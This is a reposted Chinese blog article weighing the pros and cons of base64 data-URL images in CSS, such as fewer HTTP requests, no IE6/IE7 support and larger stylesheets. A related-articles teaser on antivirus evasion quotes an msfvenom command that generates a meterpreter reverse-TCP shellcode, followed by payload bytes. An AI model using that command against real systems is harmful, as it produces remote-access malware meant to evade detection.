上传图片使用base64的优缺点

摘要:
五、优缺点权衡下的实际应用价值权衡上面所展示的优缺点,貌似base64:URL图片没有什么用武之地啊,实际上非也,有一种情况时有base64编码作为background-image背景图片利要远大于弊的。

使用base64:URL的优缺点

个人觉得base64:URL传输图片文件的好处在于:

1.减少了HTTP请求

2.某些文件可以避免跨域的问题

3.没有图片更新要重新上传,还要清理缓存的问题

不足在于:

1.浏览器支持

使用base64编码图片作为背景图片的这种技术IE6/IE7浏览器是不支持的(IE9浏览器IE7模式下支持,这里被@前端的那点破事鄙视了 )。对于目前PC页面,兼容性问题使没有文件上传以及无需更新缓存的优点不存在了。

2.增加了CSS文件的尺寸

base64编码图片本质上是将图片的二进制大小以一些字母的形式展示,例如一个1024字节的图片,base64编码后至少1024个字符,这个大小会被完全嵌入到CSS文件中(不过幸运的是也可以被gzip了,而图片文件被gzip效果不明显)。

3.编码成本

图片完成后还需要base64编码,目前估计手工完成的多,因此,增加了一定的工作量,虽然不多。

五、优缺点权衡下的实际应用价值

权衡上面所展示的优缺点,貌似base64:URL图片没有什么用武之地啊,实际上非也,有一种情况时有base64编码作为background-image背景图片利要远大于弊的。何种情况呢?

在web页面制作的时候,由于某些现实原因,我们可以会用到下面这一类图片:

1.这类图片不能与其他图片以CSS Sprite的形式存在,只能独行

2.这类图片从诞生之日起,基本上很少被更新

3.这类图片的实际尺寸很小

4.这类图片在网站中大规模使用

原文入口

免责声明:文章转载自《上传图片使用base64的优缺点》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇QT MSVC中文编译出错error: C2001: 常量中有换行符 --- 解决方案解决SpringSecurity阻止ajax的POST和PUT请求,导致403Forbidden的问题下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

python爬取图片遇见src乱码: data:image/png;base64

  python爬取图片遇见src乱码: data:image/png;base64 向爬取自己喜欢的图片,但是在爬取下来的代码当中图片的src会出现乱码的情况:data:image/png;base64。搞了我好长时间,试过伪装headers,也试过通过修改网页js的内容来让img的src显示出来,也试过修改div的display属性,但是全部都没用,最...

【HTML5版】导出Table数据并保存为Excel

首发我的博客 http://blog.meathill.com/tech/js/export-table-data-into-a-excel-file.html 最近接到这么个需求,要把<table>显示的数据导出成Excel表。类似的需求并不稀罕,过去我通常用PHP输出.csv文件,不过这次似乎不能这么做:数据源表格允许用户筛选和排序,与原...

C#编程总结(十)字符转码

C#编程总结(十)字符转码 为了适应某种特殊需要,字符需要根据规则进行转码,便于传输、展现以及其他操作等。 看看下面的转码,就知道他的用处了。 1、字符串转码 根据原编码格式与目标编码格式,完成转换。不过可能出现乱码哦。上一章已经介绍过了。 代码: /// <summary> /// 字符串编码转换...

CKEDITOR无缝粘贴word

由于工作需要必须将word文档内容粘贴到编辑器中使用 但发现word中的图片粘贴后变成了file:///xxxx.jpg这种内容,如果上传到服务器后其他人也访问不了,网上找了很多编辑器发现没有一个能直接解决这个问题 考虑到自己除了工作其他时间基本上不使用windows,因此打算使用nodejs来解决这一问题 发现不管什么编辑器只要将图片转换成base64后...

利用Python进行Payload分离免杀

缺点: 编译成exe以后体积过大 实现: msf生成shellcode代码: msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST=192.168.3.60 LPORT=3333 -f c    将payload给copy下来,去除引号。 x2fx4fx69x43x41x4...

JQuery 导入导出 Excel

正在做一个小项目, 从数据库中查询数据放在 HTML Table 中. 现在想要从这个 table 中导出数据来. 另外用户需要选择导出的列. 使用jQuery的导出插件可以完成这个需求. jQuery Plugin to Export HTML Tables 例子: 导入插件: [javascript]view plaincopy <scr...